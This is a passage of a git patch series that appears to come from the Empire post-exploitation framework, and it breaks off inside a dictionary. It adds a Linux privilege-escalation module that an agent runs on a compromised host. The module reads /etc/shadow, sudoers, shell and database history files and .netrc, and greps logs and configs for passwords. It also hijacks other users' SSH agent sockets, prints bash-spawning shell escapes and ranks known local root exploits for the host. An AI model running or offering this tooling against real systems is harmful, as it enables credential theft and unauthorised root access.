language found, increase applicability score - elif (sploits[sploit]["lang"] in str(langs)): - lang = 1 # language found, increase applicability score - if lang == 0: - sploitout = sploitout + "**" # added mark if language not detected on system - # next check keyword matches to determine if some sploits have a higher probability of success - for loc in sploits[sploit]["keywords"]["loc"]: - if loc == "proc": - for proc in procs: - if keyword in proc: - highprob.append(sploitout) # if sploit is associated with a running process consider it a higher probability/applicability - break - break - elif loc == "os": - if (keyword in os) or (keyword in kernel): - highprob.append(sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability - break - elif loc == "mnt": - if keyword in mount: - highprob.append(sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability - break - else: - avgprob.append(sploitout) # otherwise, consider average probability/applicability based only on kernel version - - print(" Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!") - print - - print(" The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system") - for exploit in highprob: - print(" - " + exploit) - print("") - - print(" The following exploits are applicable to this kernel version and should be investigated as well") - for exploit in avgprob: - print(" - " + exploit) - - print("Finished") - print(bigline) - - - callFunctionLinux() \ No newline at end of file +script_path: 'python/privesc/linuxprivchecker.py' \ No newline at end of file From 94287102ae03104e6ee8d234c80429559d040b41 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Thu, 10 Nov 2022 19:43:48 -0500 Subject: [PATCH 4/9] Updated linux_privesc and fixed comment stripping in python (#470) * updated linux_privesc and fixed comment stripping in python * formatting --- empire/server/common/helpers.py | 8 +- empire/server/common/modules.py | 3 + .../python/privesc/linuxprivchecker.py | 817 ++++++++++++++++++ .../privesc/linux/linux_priv_checker.yaml | 366 +------- 4 files changed, 835 insertions(+), 359 deletions(-) create mode 100644 empire/server/data/module_source/python/privesc/linuxprivchecker.py diff --git a/empire/server/common/helpers.py b/empire/server/common/helpers.py index 493e3ad72..d1acb1441 100644 --- a/empire/server/common/helpers.py +++ b/empire/server/common/helpers.py @@ -145,10 +145,16 @@ def strip_python_comments(data): """ *** DECEMBER 2017 - DEPRECATED, PLEASE DO NOT USE *** - Strip block comments, line comments, empty lines, verbose statements, + Strip block comments, line comments, empty lines, verbose statements, docstring, and debug statements from a Python source file. """ print(color("[!] strip_python_comments is deprecated and should not be used")) + + # remove docstrings + data = re.sub(r'""".*?"""', "", data, flags=re.DOTALL) + data = re.sub(r"'''.*?'''", "", data, flags=re.DOTALL) + + # remove comments lines = data.split("\n") strippedLines = [ line diff --git a/empire/server/common/modules.py b/empire/server/common/modules.py index 6b70d3bba..6652ce63d 100644 --- a/empire/server/common/modules.py +++ b/empire/server/common/modules.py @@ -87,6 +87,9 @@ def execute_module( if module.language == LanguageEnum.powershell: module_data = helpers.strip_powershell_comments(module_data) + if module.language == LanguageEnum.python: + module_data = helpers.strip_python_comments(module_data) + # check if module is external if "Agent" not in params.keys(): msg = f"tasked external module: {module.name}" diff --git a/empire/server/data/module_source/python/privesc/linuxprivchecker.py b/empire/server/data/module_source/python/privesc/linuxprivchecker.py new file mode 100644 index 000000000..ba50f86b0 --- /dev/null +++ b/empire/server/data/module_source/python/privesc/linuxprivchecker.py @@ -0,0 +1,817 @@ +""" +############################################################################################################### +## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script +## [Original Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift +## [Maintainer]: Michael Contino -- @Sleventyeleven +##------------------------------------------------------------------------------------------------------------- +## [Details]: +## This script is intended to be executed locally on a Linux box to enumerate basic system info and +## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text +## passwords and applicable exploits. +##------------------------------------------------------------------------------------------------------------- +## [Modification, Distribution, and Attribution]: +## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original +## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's +## worth anything anyway :) +############################################################################################################### +TODO: +Add search for writable and/or missing library files +Add detection and enumeratation for systemd +Add search for accessiable ssh sockets +Add search for ssh keys +Add search for know access tokens +Expand Sudo support to include rules in sudoers.d +Add more high profile exploit checks (ie shellshock) +""" +import sys + +# conditional import for older versions of python not compatible with subprocess +try: + import subprocess as sub + + compatmode = 0 # newer version of python, no need for compatibility mode +except ImportError: + import os # older version of python, need to use os instead + + compatmode = 1 + + +def execute_cmd(cmddict): + """ + Execute Command (execute_cmd) + loop through dictionary, execute the commands, store the results, return updated dict + + :param cmddict: Dictionary of commands to execute and results + :return: The command Dictionary with the commands results included + """ + + for item in cmddict: + cmd = cmddict[item]["cmd"] + if compatmode == 0: # newer version of python, use preferred subprocess + out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate() + results = out.decode().split('\n') + else: # older version of python, use os.popen + echo_stdout = os.popen(cmd, 'r') + results = echo_stdout.read().split('\n') + + # write the results to the command Dictionary for each command run + cmddict[item]["results"] = results + + return cmddict + + +def print_results(cmddict): + """ + Print Results (printResults) + Print results for each previously executed command, no return value + + :param cmddict: Dictionary of commands to execute and results + :return: None + """ + + for item in cmddict: + msg = cmddict[item]["msg"] + results = cmddict[item]["results"] + print("[+] " + msg) + + for result in results: + if result.strip() != "": + print(" " + result.strip()) + print() + + +def enum_system_info(): + """ + Basic System Info (get_system_info) + Enumerate Basic System Information by executing simple commands than saving the results + + :return: Dictionary of system information results + """ + + print("[*] GETTING BASIC SYSTEM INFO...\n") + + sysinfo = { + "OS": {"cmd": "cat /etc/issue", "msg": "Operating System", "results": []}, + "KERNEL": {"cmd": "cat /proc/version", "msg": "Kernel", "results": []}, + "HOSTNAME": {"cmd": "hostname", "msg": "Hostname", "results": []} + } + + sysinfo = execute_cmd(sysinfo) + print_results(sysinfo) + + return sysinfo + + +def enum_network_info(): + """ + Basic Network Info (get_network_info) + Enumerate Basic Network Information by executing simple commands + + :return: Dictionary of Network information with results + """ + + print("[*] GETTING NETWORKING INFO...\n") + + netinfo = { + "netinfo": {"cmd": "/sbin/ifconfig -a", "msg": "Interfaces", "results": []}, + "ROUTE": {"cmd": "route", "msg": "Route(s)", "results": []}, + "NETSTAT": {"cmd": "netstat -antup | grep -v 'TIME_WAIT'", "msg": "Netstat", "results": []} + } + + netinfo = execute_cmd(netinfo) + print_results(netinfo) + + +def enum_filesystem_info(): + """ + Enumerate Filesystem Information (enum_filesystem_info) + Enumerate mounted and/or configured filesystems and save the results + + :return: Dictionary with drive information results + TODO: Parse parse out the filesystem results for remote file systems and credentials + """ + + print("[*] GETTING FILESYSTEM INFO...\n") + + driveinfo = { + "MOUNT": {"cmd": "mount", "msg": "Mount results", "results": []}, + "FSTAB": {"cmd": "cat /etc/fstab 2>/dev/null", "msg": "fstab entries", "results": []} + } + + driveinfo = execute_cmd(driveinfo) + print_results(driveinfo) + + return driveinfo + + +def enum_cron_jobs(): + """ + Enumerate crontab Information (enum_cron_jobs) + Enumerate system and user cron jobs and save the results + + :return: None + TODO: Should also parse at and systemd jobs for possible information as well + """ + croninfo = { + "CRON": {"cmd": "ls -la /etc/cron* 2>/dev/null", "msg": "Scheduled cron jobs", "results": []}, + "CRONW": {"cmd": "ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg": "Writable cron dirs", + "results": []}, + "CRONU": {"cmd": "crontab -l 2>/dev/null", "msg": "Users cron jobs", "results": []} + } + + croninfo = execute_cmd(croninfo) + print_results(croninfo) + + +def enum_user_info(): + """ + Enumerate User Information (enum_user_info) + Enumerate current user information and save the results + + :return: Dictionary with the user information commands and results + """ + print("\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n") + + userinfo = { + "WHOAMI": {"cmd": "whoami", "msg": "Current User", "results": []}, + "ID": {"cmd": "id", "msg": "Current User ID", "results": []}, + "ALLUSERS": {"cmd": "cat /etc/passwd", "msg": "All users", "results": []}, + "SUPUSERS": {"cmd": "grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg": "Super Users Found:", + "results": []}, + "ENV": {"cmd": "env 2>/dev/null | grep -v 'LS_COLORS'", "msg": "Environment", "results": []}, + "SUDOERS": {"cmd": "cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg": "Sudoers (privileged)", + "results": []}, + "SCREENS": {"cmd": "screen -ls 2>/dev/null", "msg": "List out any screens running for the current user", + "results": []}, + "LOGGEDIN": {"cmd": "who -a 2>/dev/null", "msg": "Logged in User Activity", "results": []} + } + + userinfo = execute_cmd(userinfo) + print_results(userinfo) + + if "root" in userinfo["ID"]["results"][0]: + print("[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n") + exit() + + return userinfo + + +def enum_user_history_files(): + """ + Enumerate User History Files (enum_user_history_files) + Enumerate current user History Files and save content to results + + :return: None + """ + print("\n[*] ENUMERATING USER History Files..\n") + + historyfiles = { + "RHISTORY": {"cmd": "ls -la /root/.*_history 2>/dev/null", + "msg": " See if you have access too Root user history (depends on privs)", "results": []}, + "BASHHISTORY": {"cmd": "cat ~/.bash_history 2>/dev/null", + "msg": " Get the contents of bash history file for current user", "results": []}, + "NANOHISTORY": {"cmd": "cat ~/.nano_history 2>/dev/null", + "msg": " Try to get the contents of nano history file for current user", "results": []}, + "ATFTPHISTORY": {"cmd": "cat ~/.atftp_history 2>/dev/null", + "msg": " Try to get the contents of atftp history file for current user", "results": []}, + "MYSQLHISTORY": {"cmd": "cat ~/.mysql_history 2>/dev/null", + "msg": " Try to get the contents of mysql history file for current user", "results": []}, + "PHPHISTORY": {"cmd": "cat ~/.php_history 2>/dev/null", + "msg": " Try to get the contents of php history file for current user", "results": []}, + "PYTHONHISTORY": {"cmd": "cat ~/.python_history 2>/dev/null", + "msg": " Try to get the contents of python history file for current user", "results": []}, + "REDISHISTORY": {"cmd": "cat ~/.rediscli_history 2>/dev/null", + "msg": " Try to get the contents of redis cli history file for current user", "results": []}, + "TDSQLHISTORY": {"cmd": "cat ~/.tdsql_history 2>/dev/null", + "msg": " Try to get the contents of tdsql history file for current user", "results": []} + } + + historyfiles = execute_cmd(historyfiles) + print_results(historyfiles) + + +def enum_rc_files(): + """ + Enumerate User RCFiles (enum_rc_files) + Enumerate current user RC Files and save content to results + + :return: None + """ + print("\n[*] ENUMERATING USER *.rc Style Files For INFO...\n") + + rcfiles = { + "GBASHRC": {"cmd": "cat /etc/bashrc 2>/dev/null", + "msg": " Get the contents of bash rc file form global config file", "results": []}, + "BASHRC": {"cmd": "cat ~/.bashrc 2>/dev/null", "msg": "Get the contents of bash rc file for current user", + "results": []}, + "SCREENRC": {"cmd": "cat ~/.screenrc 2>/dev/null", + "msg": " Try to get the contents of screen rc file for current user", "results": []}, + "GSCREENRC": {"cmd": "cat /etc/screenrc 2>/dev/null", + "msg": "Try to get the contents of screen rc file form global config file", "results": []}, + "VIRC": {"cmd": "cat ~/.virc 2>/dev/null", "msg": " Try to get the contents of vi rc file for current user", + "results": []}, + "MYSQLRC": {"cmd": "cat ~/.mysqlrc 2>/dev/null", + "msg": " Try to get the contents of mysql rc file for current user", "results": []}, + "NETRC": {"cmd": "cat ~/.netrc 2>/dev/null", + "msg": " Try to get the contents of legacy net rc file for current user", "results": []} + } + + rcfiles = execute_cmd(rcfiles) + print_results(rcfiles) + + +def search_file_perms(): + """ + Search File and Folder Permissions (search_file_perms) + Search the identified file systems for insure file and folder permissions + + :return: None + """ + + print("[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n") + + fdperms = { + "WWDIRSROOT": { + "cmd": "find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", + "msg": "World Writeable Directories for User/Group 'Root'", "results": []}, + "WWDIRS": { + "cmd": "find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", + "msg": "World Writeable Directories for Users other than Root", "results": []}, + "WWFILES": { + "cmd": "find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", + "msg": "World Writable Files", "results": []}, + "SUID": {"cmd": "find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", + "msg": "SUID/SGID Files and Directories", "results": []}, + "ROOTHOME": {"cmd": "ls -ahlR /root 2>/dev/null", "msg": "Checking if root's home folder is accessible", + "results": []} + } + + fdperms = execute_cmd(fdperms) + print_results(fdperms) + + +def search_file_passwords(): + """ + Search File for passwords (search_file_passwords) + Search the identified file systems for files with potential credentials + + :return: None + :TODO: Add searches for common cred files like ssh keys and access tokens + """ + + pwdfiles = { + "LOGPWDS": {"cmd": "find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", + "msg": "Logs containing keyword 'password'", "results": []}, + "CONFPWDS": {"cmd": "find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", + "msg": "Config files containing keyword 'password'", "results": []}, + "SHADOW": {"cmd": "cat /etc/shadow 2>/dev/null", "msg": "Shadow File (Privileged)", "results": []} + } + + pwdfiles = execute_cmd(pwdfiles) + print_results(pwdfiles) + + +def enum_procs_pkgs(sysinfo): + """ + Enumerate Processes and Packages (enum_procs_pkgs) + Enumerate all running processes and installed packages + + :return: Dictionary with process and package information + """ + + # Processes and Applications + print("[*] ENUMERATING PROCESSES AND APPLICATIONS...\n") + + if "debian" in sysinfo["KERNEL"]["results"][0] or "ubuntu" in sysinfo["KERNEL"]["results"][0]: + getpkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian + else: + getpkgs = "rpm -qa | sort -u" # RH/other + + pkgsandprocs = { + "PROCS": {"cmd": "ps waux | awk '{print $1,$2,$9,$10,$11}'", "msg": "Current processes", "results": []}, + "PKGS": {"cmd": getpkgs, "msg": "Installed Packages", "results": []} + } + + pkgsandprocs = execute_cmd(pkgsandprocs) + print_results(pkgsandprocs) # comment to reduce output + + otherapps = { + "SUDO": {"cmd": "sudo -V | grep version 2>/dev/null", + "msg": "Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", + "results": []}, + "APACHE": {"cmd": "apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", + "msg": "Apache Version and Modules", "results": []}, + "APACHECONF": {"cmd": "cat /etc/apache2/apache2.conf 2>/dev/null", "msg": "Apache Config File", "results": []}, + "SSHAGENTS": { + "cmd": "for AGENT in $(ls /tmp| egrep 'ssh-.{10}$'); do echo $AGENT $(stat -c '%U' /tmp/$AGENT);export SSH_AUTH_SOCK=/tmp/$AGENT/$(ls /tmp/$AGENT);timeout 10 ssh-add -l 2>/dev/null;done;", + "msg": "Checking for Active SSH Agents", "results": []} + } + + execute_cmd(otherapps) + print_results(otherapps) + + return pkgsandprocs + + +def enum_root_pkg_proc(pkgsandprocs, userinfo): + """ + Enumerate root packages (enum_root_pkg_proc) + Enumerate Root/superuser packages to target based on process information + :param pkgsandprocs: Dictionary with process and package information + :param userinfo: Dictionary with the user information commands and results + + :return: The drive information Dictionary with the commands results included + """ + print("[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n") + + # find the package information for the processes currently running + # under root or another super user + + procs = pkgsandprocs["PROCS"]["results"] + pkgs = pkgsandprocs["PKGS"]["results"] + supusers = userinfo["SUPUSERS"]["results"] + procdict = {} # dictionary to hold the processes running as super users + + for proc in procs: # loop through each process + relatedpkgs = [] # list to hold the packages related to a process + try: + for user in supusers: # loop through the known super users + if (user != "") and (user in proc): # if the process is being run by a super user + procname = proc.split(" ")[4] # grab the process name + if "/" in procname: + splitname = procname.split("/") + procname = splitname[len(splitname) - 1] + for pkg in pkgs: # loop through the packages + if not len(procname) < 3: # name too short to get reliable package results + if procname in pkg: + if procname in procdict: + relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list + if pkg not in relatedpkgs: + relatedpkgs.append(pkg) # add pkg to the list + procdict[proc] = relatedpkgs # add any found related packages to the process dictionary entry + except: + pass + + for key in procdict: + print(" " + key) # print the process name + try: + if not procdict[key][0] == "": # only print the rest if related packages were found + print(" Possible Related Packages: ") + for entry in procdict[key]: + print(" " + entry) # print each related package + except IndexError: + pass + + +def enum_dev_tools(): + """ + Enumerate Development Tools (enum_dev_tools) + Enumerate installed development tools and save the results + + :return: Dictionary of installed development tool results + """ + + print("[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n") + + devtools = { + "TOOLS": {"cmd": "which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", + "msg": "Installed Tools", "results": []}} + execute_cmd(devtools) + print_results(devtools) + + return devtools + + +def enum_shell_esapes(devtools): + """ + Enumerate Filesystem Information (enum_shell_escapes) + Enumerate possible shell escape techniques based on available development tools + :param devtools: Dictionary of installed development tool results + + :return: None + """ + + print("[+] Related Shell Escape Sequences...\n") + + escapecmd = { + "vi": [":!bash", ":set shell=/bin/bash:shell"], + "awk": ["awk 'BEGIN {system(\"/bin/bash\")}'"], + "perl": ["perl -e 'exec \"/bin/bash\";'"], + "find": ["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], + "nmap": ["--interactive"] + } + + for cmd in escapecmd: + for result in devtools["TOOLS"]["results"]: + if cmd in result: + for item in escapecmd[cmd]: + print(" " + cmd + "-->\t" + item) + + +def find_likely_exploits(sysinfo, devtools, pkgsandprocs, driveinfo): + """ + Enumerate Likely Exploits (find_likely_exploits) + Enumerate possible exploits based on system information and installed packages + :param sysinfo: Dictionary of system information results + :param devtools: Dictionary of installed development tool results + :param pkgsandprocs: Dictionary with process and package information + :param driveinfo: Dictionary with drive information results + + :return: The drive information Dictionary with the commands results included + TODO: Parse parse out the filesystem results for remote file systems and credentials + """ + + print("[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n") + + # Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB) + # sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os' + sploits = { + "2.2.x-2.4.x ptrace kmod local exploit": {"minver": "2.2", "maxver": "2.4.99", "exploitdb": "3", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "< 2.4.20 Module Loader Local Root Exploit": {"minver": "0", "maxver": "2.4.20", "exploitdb": "12", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4.22 "'do_brk()'" local Root Exploit (PoC)": {"minver": "2.4.22", "maxver": "2.4.22", "exploitdb": "129", + "lang": "asm", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "<= 2.4.22 (do_brk) Local Root Exploit (working)": {"minver": "0", "maxver": "2.4.22", "exploitdb": "131", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4.x mremap() bound checking Root Exploit": {"minver": "2.4", "maxver": "2.4.99", "exploitdb": "145", + "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "<= 2.4.29-rc2 uselib() Privilege Elevation": {"minver": "0", "maxver": "2.4.29", "exploitdb": "744", + "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4 uselib() Privilege Elevation Exploit": {"minver": "2.4", "maxver": "2.4", "exploitdb": "778", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit": {"minver": "2.4", "maxver": "2.6.99", + "exploitdb": "895", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)": {"minver": "2.4", "maxver": "2.6.99", + "exploitdb": "926", "lang": "c", + "keywords": {"loc": ["proc", "pkg"], + "val": "bluez"}}, + "<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)": {"minver": "0", "maxver": "2.6.11", "exploitdb": "1397", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit": {"minver": "0", "maxver": "99", + "exploitdb": "1518", "lang": "c", + "keywords": {"loc": ["proc", "pkg"], + "val": "mysql"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit": {"minver": "2.6.13", "maxver": "2.6.17.4", + "exploitdb": "2004", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)": {"minver": "2.6.13", "maxver": "2.6.17.4", + "exploitdb": "2005", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)": {"minver": "2.6.13", "maxver": "2.6.17.4", + "exploitdb": "2006", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)": {"minver": "2.6.13", "maxver": "2.6.17.4", + "exploitdb": "2011", "lang": "sh", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "<= 2.6.17.4 (proc) Local Root Exploit": {"minver": "0", "maxver": "2.6.17.4", "exploitdb": "2013", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)": {"minver": "2.6.13", "maxver": "2.6.17.4", + "exploitdb": "2031", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit": {"minver": "4.10", "maxver": "7.04", + "exploitdb": "3384", "lang": "c", + "keywords": {"loc": ["os"], + "val": "debian"}}, + "Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit": {"minver": "2.4", "maxver": "2.6", + "exploitdb": "4460", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "< 2.6.11.5 BLUETOOTH Stack Local Root Exploit": {"minver": "0", "maxver": "2.6.11.5", "exploitdb": "4756", + "lang": "c", + "keywords": {"loc": ["proc", "pkg"], "val": "bluetooth"}}, + "2.6.17 - 2.6.24.1 vmsplice Local Root Exploit": {"minver": "2.6.17", "maxver": "2.6.24.1", "exploitdb": "5092", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6.23 - 2.6.24 vmsplice Local Root Exploit": {"minver": "2.6.23", "maxver": "2.6.24", "exploitdb": "5093", + "lang": "c", "keywords": {"loc": ["os"], "val": "debian"}}, + "Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit": {"minver": "0", "maxver": "99", "exploitdb": "5720", + "lang": "python", + "keywords": {"loc": ["os"], "val": "debian"}}, + "Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit": {"minver": "0", "maxver": "2.6.22", + "exploitdb": "6851", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "< 2.6.29 exit_notify() Local Privilege Escalation Exploit": {"minver": "0", "maxver": "2.6.29", + "exploitdb": "8369", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6 UDEV Local Privilege Escalation Exploit": {"minver": "2.6", "maxver": "2.6.99", "exploitdb": "8478", + "lang": "c", + "keywords": {"loc": ["proc", "pkg"], "val": "udev"}}, + "2.6 UDEV < 141 Local Privilege Escalation Exploit": {"minver": "2.6", "maxver": "2.6.99", "exploitdb": "8572", + "lang": "c", + "keywords": {"loc": ["proc", "pkg"], "val": "udev"}}, + "2.6.x ptrace_attach Local Privilege Escalation Exploit": {"minver": "2.6", "maxver": "2.6.99", + "exploitdb": "8673", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6.29 ptrace_attach() Local Root Race Condition Exploit": {"minver": "2.6.29", "maxver": "2.6.29", + "exploitdb": "8678", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit": {"minver": "0", "maxver": "2.6.28.3", + "exploitdb": "9083", "lang": "c", + "keywords": {"loc": ["kernel"], + "val": "kernel"}}, + "Test Kernel Local Root Exploit 0day": {"minver": "2.6.18", "maxver": "2.6.30", "exploitdb": "9191", + "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)": {"minver": "2.6.9", "maxver": "2.6.30", + "exploitdb": "9208", "lang": "c", + "keywords": {"loc": ["pkg"], + "val": "pulse"}}, + "2.x sock_sendpage() Local Ring0 Root Exploit": {"minver": "2", "maxver": "2.99", "exploitdb": "9435", + "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.x sock_sendpage() Local Root Exploit 2": {"minver": "2", "maxver": "2.99", "exploitdb": "9436", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)": {"minver": "2.4", "maxver": "2.6.99", + "exploitdb": "9479", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit": {"minver": "2.6", "maxver": "2.6.19", + "exploitdb": "9542", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit (ppc)": {"minver": "2.4", "maxver": "2.6.99", "exploitdb": "9545", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)": {"minver": "0", "maxver": "2.6.19", "exploitdb": "9574", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "< 2.6.19 udp_sendmsg Local Root Exploit": {"minver": "0", "maxver": "2.6.19", "exploitdb": "9575", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit [2]": {"minver": "2.4", "maxver": "2.6.99", "exploitdb": "9598", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit [3]": {"minver": "2.4", "maxver": "2.6.99", "exploitdb": "9641", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation": {"minver": "2.4.1", "maxver": "2.6.32", + "exploitdb": "9844", "lang": "python", + "keywords": {"loc": ["kernel"], + "val": "kernel"}}, + "'pipe.c' Local Privilege Escalation Vulnerability": {"minver": "2.4.1", "maxver": "2.6.32", + "exploitdb": "10018", "lang": "sh", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.6.18-20 2009 Local Root Exploit": {"minver": "2.6.18", "maxver": "2.6.20", "exploitdb": "10613", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "Apache Spamassassin Milter Plugin Remote Root Command Execution": {"minver": "0", "maxver": "99", + "exploitdb": "11662", "lang": "sh", + "keywords": {"loc": ["proc"], + "val": "spamass-milter"}}, + "<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation": {"minver": "0", "maxver": "2.6.34", "exploitdb": "12130", + "lang": "python", + "keywords": {"loc": ["mnt"], "val": "reiser"}}, + "Ubuntu PAM MOTD local root": {"minver": "7", "maxver": "10.04", "exploitdb": "14339", "lang": "sh", + "keywords": {"loc": ["os"], "val": "ubuntu"}}, + "< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit": {"minver": "0", "maxver": "2.6.36", "exploitdb": "14814", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "Kernel ia32syscall Emulation Privilege Escalation": {"minver": "0", "maxver": "99", "exploitdb": "15023", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "Linux RDS Protocol Local Privilege Escalation": {"minver": "0", "maxver": "2.6.36", "exploitdb": "15285", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "<= 2.6.37 Local Privilege Escalation": {"minver": "0", "maxver": "2.6.37", "exploitdb": "15704", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "< 2.6.37-rc2 ACPI custom_method Privilege Escalation": {"minver": "0", "maxver": "2.6.37", + "exploitdb": "15774", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "CAP_SYS_ADMIN to root Exploit": {"minver": "0", "maxver": "99", "exploitdb": "15916", "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)": {"minver": "0", "maxver": "99", "exploitdb": "15944", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "< 2.6.36.2 Econet Privilege Escalation Exploit": {"minver": "0", "maxver": "2.6.36.2", "exploitdb": "17787", + "lang": "c", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "Sendpage Local Privilege Escalation": {"minver": "0", "maxver": "99", "exploitdb": "19933", "lang": "ruby", + "keywords": {"loc": ["kernel"], "val": "kernel"}}, + "2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability": {"minver": "2.4.18", + "maxver": "2.4.19", + "exploitdb": "21598", "lang": "c", + "keywords": {"loc": ["kernel"], + "val": "kernel"}}, + "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)": {"minver": "2.2", "maxver": "2.4.99", + "exploitdb": "22362", "lang": "c", + "keywords": {"loc": ["kernel"], + "val": "kernel"}}, + "2.2.x/2.4.x Privileged 